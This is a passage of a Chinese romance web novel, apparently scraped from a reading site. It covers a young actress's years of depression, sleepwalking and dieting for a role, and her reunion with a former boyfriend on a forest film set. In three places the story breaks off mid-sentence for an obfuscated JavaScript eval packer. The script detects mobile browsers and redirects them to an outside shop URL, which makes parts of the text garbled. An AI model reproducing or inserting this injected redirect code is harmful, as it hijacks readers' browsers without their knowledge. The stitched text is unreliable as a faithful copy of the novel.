“阿驰,你跟自己有什么深仇大恨,把自己瘦成了一道闪电!”安然见到驰路时,她穿着江城一中的校服,宽大的校服里,能看出她纤薄得不行的肩背,比之前还要瘦。 不只是瘦,还有一种病态感,仿佛风一吹,便能被吹跑。 “职业需要。”驰路平静地说。 “为了当明星,你这是连命都不想要了吗?”安然看到她眼睛下方一圈重重的黑眼圈,这是经常熬夜留下的吗? “死不了。”驰路说得轻描淡写。 她们走在学校葱葱郁郁的林荫道上,迎面走来不少路人,安然发现驰路的眼睛不经意地掠过一对并肩而行、谈笑风生的男女,忽然明白了点什么。 “阿驰,你是不是还想着你的舟哥?” 安然往前走了两步,发现身侧没了人,一回头,看到站在树荫下的驰路,她陷在阴影里,却依然遮不住她独特的美。 她的脊背挺得笔直,长长的脖颈从校服衣领处露出来,宛若洁白的白天鹅。 她的眼神里似乎流过一抹道不明的破碎感,仿佛城堡轰然倒塌,久久不能修复。 安然走到驰路身边,挽起她的胳膊,笑着打破她的沉默:“阿驰,男生嘛,多的是,没了可以再找。何况,你现在是杂志新宠,又长得这么漂亮,追你的人,不得绕地球几圈。” 驰路没走进宿舍楼,而是走到宿舍楼后面,点燃一根烟,狠狠抽了几口,才吐出缭绕烟雾说:“安然,以后别跟我提他。” 那晚,安然住进驰路给她提前安排好的酒店里,双人床,一人一张,她陪驰路聊到深夜。 朦朦胧胧间,安然感到有人搂着自己,说:“舟哥,你怎么没来找我?” 声音委屈、凄切,是特有的金属烟嗓。 * 驰路能不回路漫的别墅就不回去,常常是她来学校找她,找她也主要是谈哪家杂志、哪个MV要约拍。 每次都会跟她说:“阿驰啊,这周我给你烧你爱吃的桂花糕、雨花茶虾仁、松鼠桂鱼。” 驰路每次都会拒绝,因为她回去过一次,路漫跟她说的菜,她一道没烧,全烧的李浦爱吃的。 饭桌上,她像一个局外人,看着路漫跟李浦演现实版偶像剧,郎才女貌,按理说不辣眼,她却看得想自戳双目。 从此以后,她再没有回去过。 她庆幸自己当初愿意跟路漫回来,提出的三个条件:一,你出钱,让我在外面租房子。二、每个月给两万的生活费。三、不要干涉我的私人生活。 路漫答应是答应了,但也要她答应自己一个条件,就是做她的经纪人。 如果她要发展星途,自然少不了经纪人,谁来当都是当,蓝姐算是放弃了她,平白多出一个经纪人也挺好。 她问了路漫在江城的一些资源、人脉,她一一跟她道出,还跟她说:“江城的算什么,全国各地,甚至全世界的影视资源我都有。” 后来,驰路才知道,这些资源都是李浦的,他出生影视世家,在演艺圈发展过,但演技不行,哪怕在自家主投的片子当个主演,票房低不说,还被某瓣评为“年度最差影片”。 李浦见自己在演员这条路上走不通,及时换了方向,让他老爸投资,给他成立了一家影视公司,发展签约艺人业务。 驰路理所当然签在了【木子】影视公司。 路漫的人脉、资源比蓝姐的多很多,她一来江城,当周路漫跟她之前签约的公司完成了解约流程、进行了签约。 第二周就给她接了活儿,之后的每周几乎都给她安排了。 她跟路漫说:“妈,能不能少给我安排点,我还要冲刺高考。” 赚钱重要,但考上理想的电影学院学表演更重要。 路漫满嘴说“好好好”,结果安排的活儿只多不少。 驰路不得熬更多的夜来刷题,每次熬夜,熬着熬着就没了困意,没了困意她躺在床上睡不着,常常会走到栏杆处,不自觉地低头看楼下。 她选的宿舍在二楼,一低头便能看到楼下景致——绿植、人行道,远处还有一个小花园,一到春天,各种粉的、白的、红的花儿争相怒放,花香随风飘到宿舍。 满月高悬的夜晚,各处都被披上了一层金灿灿的光,流金溢彩,宛若流动的世界。 明明是一片好风光,驰路却觉得不过尔尔。 寂静夜晚,没有深蓝色的摩托车,没有那个染着雾霾蓝、戴着黑色耳桥的少年,再美的风光,都是远方。 只有少年,才能演奏金戈铁马的华章。 没了谢鸿运,驰路过得坦然,却也过得空荡荡。 她知道心的位置少了一块,那儿属于谢劲舟。 原来,失去一枚太阳,比山鸟与鱼不同路更让人心伤。 曾经,她是他的蝴蝶,他是她的舟。 自从分别,蝴蝶与舟不相逢,诺言四散,执念不断。 蝴蝶飞了一程又一程,即使翻山越岭,也再没遇见她的舟。 * 谁都不知道那几年驰路是怎么度过的,所有人都看到她明媚、光鲜、耀眼,她是时尚杂志封面上的宠儿,是MV、短剧里的女主角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560807|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是红毯上熠熠发光的女明星。 只有她知道,与谢劲舟刚分开的那一个月,她几乎时刻关注着手机,看看有没有他发来的信息。 没有说“分手”,没有告别,他们算什么? 他们还可以联系吧。 但她没再收到一条关于他的信息,他像人间蒸发了一样。 她次次想要给他发点什么,又次次忍住,狠狠删掉打出的每个字,狠狠把手机摔到一边,骂一句“谢劲舟,你还是不是人”。 骂完心里蹿上细细密密的疼。 算了,不联系,才是他们最好的结局吧。 无数个深夜,她把自己蒙在被子里,几乎无法呼吸;每次洗澡,她都会掐自己的胳膊,一道道新鲜的月牙印盖上旧的;她的右脚踝的字母旁边,多了个拼音文身——zhou。 雷电夜,她会跟室友聊天,聊到困倦,聊到雷电消失。 她以为这是好的方式,以为自己会顺顺利利地睡一晚。 然而,每次她被一个平时关系不太好的室友推醒,从嫌弃到厌恶,最后直接骂她“你是鬼吗,怎么每晚都深更半夜爬我床上”“你有病吧,我劝你别上学了,赶紧退学吧”…… 各种难听的话纷至沓来,驰路才知道自己的梦游症复发了。 她以为没了她的舟,疼痛、心伤都会成为身后景,横生再多枝桠,也无法阻挡她去往春山。 万万没想到,会旧病复发,夜夜侵扰,被人知道她有梦游症,传到校园贴吧、传到同班乃至同校学生耳中,都说她是鬼,她有病,她成了别人眼中的怪胎。 她想安安静静在江城一中度过一学期,却不得不向现实投降。 她总以为换个地方就好,这才深刻知晓,换个地方不一定好,未知远方,也会遍布荆棘。 路漫第一时间得知她的情况,给她租了学校附近的高档别墅,找人帮她把网上的各种声音消除。 好像什么都没发生过,但只有驰路知道,她的病没好,因为她每次早上醒来时,有时睡在地上,有时睡在浴缸里,有时睡在隔壁房间,有时睡在沙发上…… 她的梦游症越来越厉害,睡眠越来越差,精神状态越来越不好。 她拍摄时的状态越来越差,表演得也越来越不在线,一切开始脱轨。 路漫不得不带她去看心理医生,被查出因压力大导致梦游症、抑郁症复发。 距离高考还有三个月,路漫给她安排的活儿从一周至少一次,到一个月一次,每天监督她吃药,每周都会去她住的公寓看她两三次,看看她状态怎么样。 起初,驰路以为路漫终于像个妈妈了,但很快她发现,她多想了。 “我过来看看阿驰。我知道……等她身体好点……我就给她多安排活儿……是是,她是我们公司的摇钱树。” 一天深夜,起来想去客厅喝水的驰路,偶然听到了路漫跟李浦的通话。 这才知道,她不过是他们的摇钱树。 她是路女士的赚钱工具,不是她真心对待的女儿。 后来的时间里,她靠吃药,身体慢慢恢复。身体一有好转,又开始熬夜刷题、练习演技,凭借着努力,如愿考上了电影学院学表演,深夜还在练功房里刻苦练演技。随着演技的提升,开始陆续出演电视剧里的角色,从配角到女二,再到女一。 从最初说她是“劣质花瓶”到“顶流爱豆”,她用了六年时间。 每年、每段时期,都会传出她跟某某的绯闻。 路漫跟她说:“绯闻是绯闻,但不能跟谁谈恋爱。” 靠近她的男人无数,但驰路却没谈一个,谁都不相信她能在影视圈里守身如玉,时不时传来她是靠潜规则上位的。 早知道进入影视圈会有鲜花、掌声,也必然会有批评、指责,甚至黑白颠倒。 她不在意,她只做自己。 六年里,路漫算是勤勤恳恳地做着她的经纪人,各种好的资源都倾斜她,她没辜负路漫的一番苦心,成了【木子】影视公司的顶流,最新一年的个人盈利占公司盈利的60%。 她赚了不少,每年都会去法国看驰岸,今年他跟老爸回国了,搬去了上海她的一栋别墅里,据说他傍的女人把他抛弃了,攒的钱把之前欠的债务还了。 …… 这次要拍的电影《密林深处》,在青宜市的一片森林里。 来的途中,路过一座小镇,街景熟悉又陌生,随口问了坐在旁边的助理小苏到哪里了。 小苏正睡得迷迷糊糊,睁眼往外瞧,刮起一阵风,风沙往眼前扑来,彻底将她弄醒。她抬手挥挥尘土,问司机现在他们在哪里。 司机王师傅告诉她们,她们到平安镇了,还有不到五十公里就可以到青宜市区。 平安镇? 驰路心头划过这几个字,循着记忆地图,想起她曾来过这里,跟谢劲舟一起。 第一次比赛时,他遭人暗算,两人都陷入危险之地,他为她下跪,即使一身傲骨,也要为爱低头。 后来,谢劲舟还带她去玩过几次赛车,他是赛场上风驰电掣、百战百胜的王者,她是挥舞着自制旗帜、为他呐喊的小迷妹。 那会儿,她在一众谢劲舟的迷妹中是最特别的那个,因为,她是唯一可以坐在他摩托车后座的女生。 往事清晰如昨,刻意被自己掩埋的记忆被勾起,心头不禁微微泛酸。 六年里,没有一点关于他的消息。 他现在过着怎么样? 91. 小蝴蝶晕倒了 「有没有那种夏日限定,限定能遇见你。 我不要什么岁月的恩典,我想要遗失六年的唯一。」 ——《小蝴蝶的自由》 “舟爷,最近在忙什么?” 音乐震耳的酒吧里,罗子昂拍了下谢劲舟的肩膀。 谢劲舟望着舞台上的女鼓手有些出神。 “怎么,想起驰……”话刚说一半,罗子昂立马止住。 “驰路”在谢劲舟这里是禁词,谁都不能提,从六年前驰路离开后。 当年,罗子昂知道驰路转校的消息后,快马加鞭地杀到谢劲舟家,问他怎么回事,却看到他把自己关在之前驰路住的房间里,喝得烂醉。 “我艹,”罗子昂看到那凌乱不堪的场面和颓丧的谢劲舟,低骂一声,跨过酒瓶,走到靠在床边的谢劲舟身旁,蹲下身,“舟爷,你这什么操作,不知道的还以为你失恋了!” 谢劲舟没看罗子昂一眼,许久没说话,目光无神地盯着地上东倒西歪的酒瓶,半晌才开口:“分了。” 罗子昂自始至终都觉得是驰路把自家老大抛弃了。 如果不是驰路,自家老大会这么悲痛欲绝、痛不欲生、魂飞魄散吗。 他以为自家老大久经情场,会很快移情别恋,却不想浪子收了心。复读一年,一心扑在学习上,高考考上了北京的985大学。 大学期间,读的是建筑设计专业,业余兼职接室内设计、建筑设计的活儿。毕业后,去一家业界知名的建筑事务所从事建筑设计工作,起初还能接到活儿,但他在职场中太有个性,独来独往,硬是干了半年不干了,后来用攒的钱开了家建筑公司,参与建业房地产的招标,凭借他对设计的精益求精,最终中标,以为这是好的开端,没想到这个项目参与了半年,对方资金链断了,暂停项目开发,人也跑路了,该给他们的资金一分钱没给。 各种成本开销几乎掏空他攒的钱,不得不继续寻找项目,但大项目的周期长,也不是轻易就能拿到。他只好精简人员,现在公司只剩下三个人,有项目在跟进,但没结果。 简言之,他现在成了需要每天都要往外付钱的老板,却没有一分钱进账。 他很犯愁,常常把自己困在公司,打无数的电话,设计无数的图纸。 罗子昂这次好不容易把他喊出来,想让窝在公司快要发霉的他,吸点人气。 谢劲舟非但没融入这个环境,反而像个局外人,话比之前还要少,罗子昂问一句,他才回一句,注意力全在酒上。 谢劲舟跟罗子昂撞杯,将高浓度的威士忌一饮而尽,喝完又倒上一杯,懒懒散散地回罗子昂:“老子要是忙,现在能在你面前?” “如果不忙的话,我这儿有个活儿,你看要不要接?”罗子昂实在不想看着自家老大一天天消沉下去。 “什么活儿?”谢劲舟黯然的眼神闪出一丝亮光。 “我朋友接了个电影布景的活儿,正好缺人手,在平安镇,离咱们不太远。”罗子昂说,“你回家也方便。” 没等谢劲舟回答,来了个穿着性感的女生,扭着水蛇腰,站在了谢劲舟身旁,伸手邀请他:“帅哥,要不要一起跳舞?” 谢劲舟垂着眸,并未去看女生一眼,干脆利落地拒绝:“不要。” 女生识趣,没再继续邀请,转身寻觅下一个对象。 罗子昂看了个全程,笑道:“舟爷,都这么多年了,孤家寡人的,找一个呗。” 谢劲舟眉头微蹙,盯着酒杯里倒映的灯影,里面晃荡着的液体,恍恍惚惚间,幻化成人影,不笑时清纯可人,笑时妩媚横生,右眼尾有一颗胭脂痣。 到底是酒精作祟,微醺间竟出现如此画面。 谢劲舟闭上眼,再睁眼看杯时,杯中人已不见。 他摇着酒杯,回罗子昂:“你说的活儿,什么时候开工?” * 《密林深处》的拍摄地点,在青宜市平安镇,开机时间定在7月初,正值夏日。 一行人去的当天,太阳高悬,天气闷热。 站在山脚下往上看,山上树林茂密,低矮花草丛生,远远望去,似披上了绿毯子。 到这片森林看场地时,驰路不合时宜地想起了静心山,还有静心山上的静心湖、静心小屋。 她想得有些愣神,助理小苏提醒她往上走,她才回神。 《密林深处》是一部悬疑爱情影片,讲述了六名陌生年轻男女误入密林深处的百年古老别墅,七天七夜里,产生爱情纠葛,连续遭遇命案,最后只有两人逃离的故事。 别墅是临时搭建的,建在半山腰,据说别墅前面不远处有一条清澈的湖,太阳洒落湖面时,风景格外旖旎。 驰路倒想看看那风景是不是美过静心湖的。 “驰路,你瘦成这样,一阵风都能把你吹跑。”一道清甜的女声响起。 驰路往左一瞥,说话的人,穿着一条乳白色的蓬蓬裙,配一双正红色的玛丽珍鞋,扎了丸子头,化了清新自然的妆。 有人为她撑伞,她手里还拿着一个小型风扇,对着脸呼呼地吹着,完全一副被人服侍到位的小公主姿态。 此位小公主是娱乐圈里人见人爱人见人夸的“甜美系小公举”言嘉芝,今年22岁,童星出生,偶像剧女一号的常驻嘉宾,出演的电视剧比她的年龄还多。 这次她在《密林深处》饰演女二号,据传,她也试镜过女一号,但后来顾导对比了驰路和她演过的女一号,毫不犹豫地选择了驰路。 但也有人传,是这位小公主还有另一部电视剧要拍,两头跑,忙不过来,才接了这部电影的女二号。 真真假假,驰路不想去分辨,这都与她无关。 这部戏的导演顾辞山,擅长拍悬疑片,38岁,已经屡次荣获国内“最佳悬疑影片奖”。 驰路之前都是演爱情偶像剧,谈情说爱的演多了,她想挑战自己的舒适区,拓展自己的戏路。 试镜成功后,顾导跟她说:“驰路,你饰演的角色祁梦,身材要消瘦,你现在的身材很好,但还要瘦点。” 驰路有时间就会去健身房或跑步,格外注重自己的体型。 从顾导跟她说后,她降低了运动强度,饮食上比之前还克制,减少了饭量。 经过两个月的努力,这次顾导见到驰路时,直夸她:“驰路,你现在这身材,就是我想象中祁梦的。” 驰路笑着跟言嘉芝说:“放心,只要风不吹跑你就行。” 言外之意,我会不会被风吹跑,不关你事。 言嘉芝出生影视世家,爷爷奶奶都是知名老演员,父亲是知名偶像剧导演,妈妈是知名演员,家里开了影视公司,遇到的基本都是跟她示好的、套近乎的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560808|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像驰路这样的,倒是百年难遇。 “你怎么说话呢,人家关心你,你就这样对我,有没有一点礼貌!”言嘉芝气鼓鼓地说,完全一副小女生的模样,一看便知是被身边人宠坏的小公主。 “芝芝,来,哥哥带你玩。”饰演男一号的周柏屿听到了这边的动静,原本走在前面的他,专门回身,走到言嘉芝身前,抬起右胳膊,做出邀请她的动作。 言嘉芝挽上周柏屿的胳膊,方才的公主严肃脸瞬间转为公主甜美笑脸,不再搭理驰路。 “阿驰,你别得罪她,以后还要跟她相处两三个月。”驰路的大学好友兼这次影片中的女三号向眠走过来。 助理小苏帮腔道:“是啊,驰姐,你可要跟她好好处,她的资源、人脉很多的。” 驰路不在乎这些,在圈里出名的“我行我素”。 有一家杂志写她的文章时,说她是一只独行兽,当时路女士看了,直接把杂志甩她面前,嘱咐她以后要多跟剧组的人打好交道、建立人脉。 驰路跟路漫说:“妈,跟人打交道、建立人脉的事,我要是做了,谁来演戏,谁来当经纪人?” 一句话把路漫还想继续教育她的话堵住了。 不是有句话是这么说的:猛兽总是独行,牛羊才成群结队。【注】 她就要当一只猛兽,骄傲的,高高昂着头颅的,头戴皇冠的。 她减少交际、不注重人脉,研读剧本、精进演技,一心一意地钻研怎么做一名好演员。 从被人说花瓶,到顶流爱豆,她付出了多少,比谁都清楚。 她相信,玫瑰不会一夜绽放,功名也不是一日成就,所有的一鸣惊人,都是厚积薄发的结果。 驰路抹了下额头上的汗珠,跟她们说:“我什么时候得罪她了,我不会得罪任何人。” 她一贯秉承着“人不犯我我不犯人”的原则,在圈里没有多好的名声,但也没有恶名。 向眠叹口气:“阿驰,你总这样,迟早要吃亏的。” “吃亏也没什么不好。”驰路无所谓道。 小苏正要打开太阳伞,驰路见她手里拎着大包小包,朝她摆摆手:“算了,别打伞了。” 她可没“芝芝公主”娇气。 但她高估自己的体力了,这段时间的简餐,加上酷热天气,还没爬上半山腰,人就有些发虚。 驰路向来好强,并没放在心上,想着再坚持坚持,爬到半山腰休息一下就好。 汗水从驰路的额头往下低落,滴到她长长的眼睫上,有点遮住她的视线。 望向前路时,眼前出现虚影,她闭眼几秒,又睁开,以为会有所缓和,却只觉脑袋昏昏沉沉,一阵天旋地转,人不受控制地往下倒。 如同石头坠入湖面,发出咚的声响。 “阿驰,阿驰……” 耳边传来呼唤她的声音,分散的人群渐渐聚拢过来。 嘈杂声、议论声响起,她被人抱到怀里,闻到了一阵太阳般的皂香,混着丝丝熟悉的烟味。 明明是向眠在喊她,为什么觉得好像来人是那个她刻意不愿想起的人。 “你谁啊?” “布景的。” 沉磁的声音里透着不羁、冷冽,如同刚从冰箱里取出的一块冰块,尖锐、冰冷。 驰路的心微微一颤,继而,彻底失去意识。 92. 要不要去试镜 「每个人都说余生很长,但我并不这么认为。 所谓余生很长,是一种骗自己的假象。 想要及时地抓住某样东西,或者某个人,就得拼了命地努力。 小蝴蝶,我想拼命地抓住你。」 ——《神明降临》 驰路醒来时,头还有点不舒服,嘴巴里有一丝白桃味的甜。 她环顾四周,发现自己在一间陌生的卧室,墙面贴着复古绿的繁花墙纸,窗帘没拉严实,窗户开着,山间的风吹来,吹得白色纱帘掀起一角。 床头放了一杯水,驰路坐起来喝了几口,脑中闪现出晕倒前的最后画面。 她的视线落在那个人的耳朵上,看到了闪着光的黑色耳桥。 是谢劲舟吗? 不会吧!在人群中走散的两个人,怎么会轻易遇见呢。 念头刚划过心间,心脏一点点地下坠,是失落的感觉。 她在期待什么? 那个失联六年的人,早就消失在她的世界,她想他做什么! 楼下传来嘈杂的人声,驰路想着,大家应该都在忙着准备工作吧,她得赶紧起来,去看看拍摄场地。 驰路刚想穿鞋下床,耳边响起一阵窸窸窣窣的声音,可能是某只森林小动物发出来的吧,她没在意。 直到她想站起来时,余光忽然瞥见窗外的树上似乎有一人。 她抬眼看去,树上果然有一个人,侧着身,正在抬手做着什么。 男人被白色帘子挡在窗外,驰路看不见他的脸,只看到他似乎泛着一抹蓝的头发,还有他身体的轮廓,穿着黑色无袖背心,被风吹得鼓起来,侧影线条优越。 剧组里,有这号人? 也许有吧,只是她没注意。 驰路站起来,风吹起帘子,余光刚好看向窗外,男人微微侧过脸,侧脸熟悉,像极记忆中的那个人。 驰路几乎是本能地抬头去看,男人却背对她,爬下树,消失在眼前。 她匆忙地走到窗前,白纱帘重新落下,隔着帘子,她只能看到郁郁葱葱的一棵树,树上停了一只鸟,正啁啾地叫着。 她抬手想要掀起帘子,但迟迟没有掀开。 方才的一切,仿若一场梦。 梦醒,人散。 也许只是幻觉。 那个浑蛋怎么会来这里。 * 驰路没去拍摄现场,而是站在窗前点燃了一根烟,刚抽两口,有人敲门。 “谁?”驰路朝门口望去。 “驰姐,是我,小苏。” “进来。”驰路作为公众人物,私生活尤其要注意,抽烟是不能被粉丝知道的。 在粉丝们心中,她是屏幕上可盐可甜的漂亮女主角,是只有天上有地上无的仙女,演技精湛,生活中没有一点瑕疵,被他们供在神坛。 其实,生活中的她,没有他们想得那么完美,只是他们加了偶像滤镜,把她演的角色的优秀品质加在了她本人身上。 她不完美,不需要跟任何人解释,但也不需要把自己不完美的一面展现给别人。 小苏一进屋便关了门,见驰路正在抽烟,连忙走上前跟她说:“驰姐,咱能别在剧组抽烟就别抽吧,被人看到了不好。” 她也不想抽,但心里莫名烦躁,像拱起了一团火,需要抽烟才能降下去。 “这里没人。”驰路又抽了一口烟,吐出烟圈。 “没人?”小苏瞥见窗外似乎有什么,掀开白色窗帘,探手从窗外拿过一枝花。 驰路看到花的瞬间,心下一滞,目光久久地停在上面。 “驰姐,这是谁放在这里的?”小苏警惕心上来,“我们的剧组里难道有人是你的粉丝,偷偷给你送花?” 驰路从小苏手里拿过花,想起了方才树上的那个男人。 难道是他留下的? 小苏问:“这是什么花啊?还挺好看。” “洋桔梗。” 紫色的花朵已然绽放,像对某人放下戒备的心。 趁驰路抽烟的空档,小苏跟她讲了过会儿要去试下明天拍戏的服装,说完想起了一件事,皱着眉说:“驰姐,我们剧组有个怪人,好像还喜欢你。” 小苏看着驰路手中的洋桔梗,惊道:“不会就是送你花的吧!” “你在说什么!”驰路并没有把她的话放在心上,类似这样的粉丝行为多了去了。 “这人真的挺怪的,”小苏回忆道,“你爬山时,不是晕了吗,我们都吓坏了,顾导那会儿还在后面,场面一下子乱了,也没有懂点急救知识的。就在我们想找人把你背下山去医院时,有个男人挤进了人群,把你抱在怀里,喊你的名字,你知道喊的是什么吗。” “不知道。”驰路隐约记得有人喊她“阿驰”。 声音沉沉的、温热的,划过耳际,热气袭来,她的难受似乎在瞬间消散,她仿佛在漫长的跋涉中找到了归途。 来自远古的遥远的声音,似淋过雨,又似滚过火焰,冷热交替地传到她的耳朵里,熟悉又陌生。 “他竟然叫你‘阿驰’,叫了得有两三遍吧。” “别人都听见了?”驰路大感不妙。 “没有,声音很小,应该只有离你最近的我听到了吧。” 驰路松了口气,急迫地问:“然后呢?” “他跟我们说,你应该是低血糖加中暑,先把你抱到了一棵树下,然后从裤子口袋里拿出了一根棒棒糖,放在你的嘴里。” “我一直就在他怀里?”驰路丝毫不记得有人抱她到树下,但潜意识里记得有人在她嘴巴里放过什么东西,圆圆的,甜甜的,这样的味道,此刻已被烟味掩盖。 “也没有一直,放完棒棒糖后,见你好像快要醒来,他就让我过去,换我照顾你了。”小苏说,“后来,你没醒,是他一路把你背上去的。” “中途没有换人?”驰路的心弦被什么东西狠狠扯动了下。 她久久未抽烟,烟灰蓄了长长一截,落在她的鞋面上,她也没去管。 “顾导知道你晕倒后,跟上来了,想要背你,那人坚持自己背。” “他在剧组做什么?” “好像是做布景的。” …… 小苏离开驰路房间时,依然觉得纳闷,为什么方才自己跟她说完那个疑似粉丝后,她的神情怪怪的,跟平时那个洒脱的、毫不在意这些事的她判若两人。 她好像在想些什么,好像……挺在意那个疑似粉丝。 真是奇怪! * 驰路饰演的祁梦,是国风设计师,擅长设计旗袍,平时也喜欢穿旗袍,这次去试穿的衣服,便是第一场戏的穿搭,是一件绣花白色修身旗袍,勾勒出凹凸曲线,盘扣扣到衣领,露出天鹅般纤长的脖颈。 身材没有之前丰腴,却多了清瘦的少女感。 等发型师给她盘好了头发,小苏直呼:“驰姐,你这身打扮太惊艳了!” 驰路看着镜子里的自己,感受着她就是祁梦,原本亮亮的那双眼变得有几分破碎。 对于她扮演的角色,她会见缝插针地把自己带入角色,这样拍摄时,入戏会很快。 等她从化妆间出来时,遇到她的人都夸她好看,只有向眠在夸她好看后,还问她身体好点没,她说没事。 这时,一道女声响起:“这是谁啊?就这身材,还穿什么旗袍!” 驰路不用看也知道是谁,她不想搭理言嘉芝,但以后还要跟她相处两三个月,只好看向她,上下扫了她一眼:“不知道的,还以为你三十大几了。” “你……”言嘉芝最不喜欢别人说她老,驰路这是赤裸裸的挑衅,她抬手指着驰路,愤愤然,“你以为你能当女一号了不起啊,知道外面怎么说的吗,还不是你勾引顾导,才拿到这个角色的!” “随你怎么想。”驰路走到她身旁,一字一句地对她说,“现在的女一号,就是我!” 她比言嘉芝要高一点,微微俯视着她,浑身透着不好惹的女王气质。 言嘉芝之前没碰到过这样的对手,一时哑然,直到驰路走了,她才恨恨地咬牙,对身旁的助理说:“你去跟服装师说下,我不要这身,再选几套让我试穿,要年轻点的!” 无辜助理内心哀嚎:你在戏里演28岁的职场性感白领,要选年轻点的衣服,也得跟人物符合啊!我上辈子得罪谁了,这辈子要摊上这样的主儿。 …… 驰路还没走到片场,便听到顾导在跟人聊天,带着安慰: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他戴着黑色耳桥,脖子上戴着一条项链,搬柜子时,项链在胸前晃动着,隐约能看到从吊坠里显露出的一抹幽蓝。 换过方向,顾辞山才看到他右侧脑勺处,有一道醒目的“X”。 …… “舟爷,顾辞山让你去试镜?我没听错吧!”罗子昂的声音之大,直直地从电话那头穿透过来。 “嗯。”谢劲舟倚靠在二楼的阳台处,正抽着烟,懒懒地回答着。 罗子昂正坐在电脑面前,啪啪啪地敲字搜索顾辞山最新的电影,查出是《密林深处》,主演……周柏屿,驰路。 罗子昂瞪大眼睛,惊道:“我艹,有驰妹!” 一说完,又捂住嘴:“舟爷,我错了。” 他错就错在不该提“驰妹”,这是谢劲舟心头的一道疤,他不想揭开。 谢劲舟半晌没回,烟雾在他面前聚拢,又随着夜风被吹散:“罗刺猬,你说老子要不要去试镜?” “肯定要去啊!”罗子昂还在翻着《密林深处》的相关信息,“这多好的机会啊。” 罗子昂知道,他家老大其实从没放下过驰路。 不管当初谁辜负了谁,世界这么大,如果两人还能再次相遇,说明他们有缘。 既然有缘,何不让命运的齿轮多转会儿。 “不去!”谢劲舟把烟头狠狠摁灭在烟灰缸里。 夜色越来越浓,芳町镇又变得寂静万分,夏夜传来虫鸣声,夜空中云朵层层,一缕光从云层后面探出身来,一点一点挤破云层,露出一枚弯弯的月牙。 谢劲舟躺在阳台上的藤椅上,仰头看着月亮探头,看它露出它本来的样子,想起罗子昂跟他说的最后一句话:“舟爷,你真的不打算给自己一次机会吗。我看这部电影里,驰妹跟周柏屿的对手戏是挺多,但跟陆程真的戏份也不少,而且,贼劲爆!” …… 谢劲舟在阳台上坐了很久,回到房间后,似乎看到床上躺着一个少女,穿着黑色吊带睡裙,脖颈上戴着一条黑色颈链,吊坠上挂着一枚银色蝴蝶。 他一步一步走过去,走得很慢,生怕看到的只是一场梦。 93. 六年后重逢 「无数次眺望远方,抬头看月亮。 总会看到一抹雾霾蓝,还有刺穿长夜的X。 现在终于真实地看到了、感受到了。 比六年前还热烈、比梦更真切。 Z,你何必如此疯狂?」 ——《小蝴蝶的自由》 走到床边,他停住了,盯着少女凹凸有致的玲珑身体,看着她熟睡的侧脸,俯身想要摸一摸她右眼尾的那颗胭脂痣,却发现手下什么都没摸到。 终是一场空。 谢劲舟颓然地将自己摔入床中,趴睡着,床上满是玫瑰的芬香。 疑似她身上散发出来的味道。 他寻找了很久的一款香水,几乎接近她的味道,却不是她的味道。 这段时间,夜夜被这种味道包围,仿佛她就在身边。 当初不是说好要将她彻底遗忘的吗。 她不是离开自己快六年了吗,他为什么要这样! 谢劲舟抬手狠狠地砸了几下床垫,手背泛出疼意,他才觉得自己的细胞好像活了过来。 不知何时入睡,有人将他缠住,身体软软的,双臂搂住他的脖颈。 他睡眠浅,想要睁眼,却怎么也睁不开。 耳廓被人摸着,一路摸到耳垂。 人离他很近,鼻息绕着他的耳廓,他身体的热度一点点攀升。 “谢劲舟,你有种一辈子别来找我!” 声音是独特的金属嗓音,带着戾气。 谢劲舟身体里刚冒出头的那点热度瞬间被浇灭,猛然惊醒。 睁眼一看,房间里黑漆漆一片。 伸手一摸,空的。 还好,只是一场梦。 如果……不是一场梦,好像,也挺好。 * 化妆间,驰路正坐在镜子前,化妆师给她化妆,她也没闲着,正在看书。 这时,耳边传来小苏的声音:“驰姐,你知道今天要跟你试演对手戏的是谁吗?” “不知道。”驰路从顾辞山那儿得知,今天有人要试镜陆程真,跟她演一场对手戏。 顾导速度真是快,昨天还愁找不到人,今天竟然就把人找到了,还神速地来到这个偏僻的小镇,直接在片场跟她演戏,演的还是一场比较激烈的暧昧戏。 “听说从来没演过戏,还是我们剧组打杂的,不知道为什么会随便拉个人过来跟你试演。”小苏实在想不通。 驰路没太放在心上,她会按照顾导的安排做好她该做的,其他的,她管不了,也不想管。 既然都没演过戏,想要跟她演对手戏,恐怕难以登天。 驰路这次换了一身紫色绣花修身旗袍,梳了一条麻花辫,放在胸前,头顶还戴了一个白色发箍,一改往日里她的张扬气质,一下子收敛很多,一副乖得不行的漂亮女生模样,透出满满的少女感。 小苏看着眼前美若天仙的驰路说:“驰姐,你这样子,估计对方都没心思跟你演戏,光看你就要看得晕头转向、找不着北了。” 驰路正想说点什么,有人插话道:“今天怎么还有人把自己整成紫藤萝了,我看是紫藤萝都成精了,还是天天想着怎么勾引人的妖精。” 驰路朝右边一瞥,看到姿态高高在上、扬着下巴的言嘉芝,脸上露出讽刺的笑意。 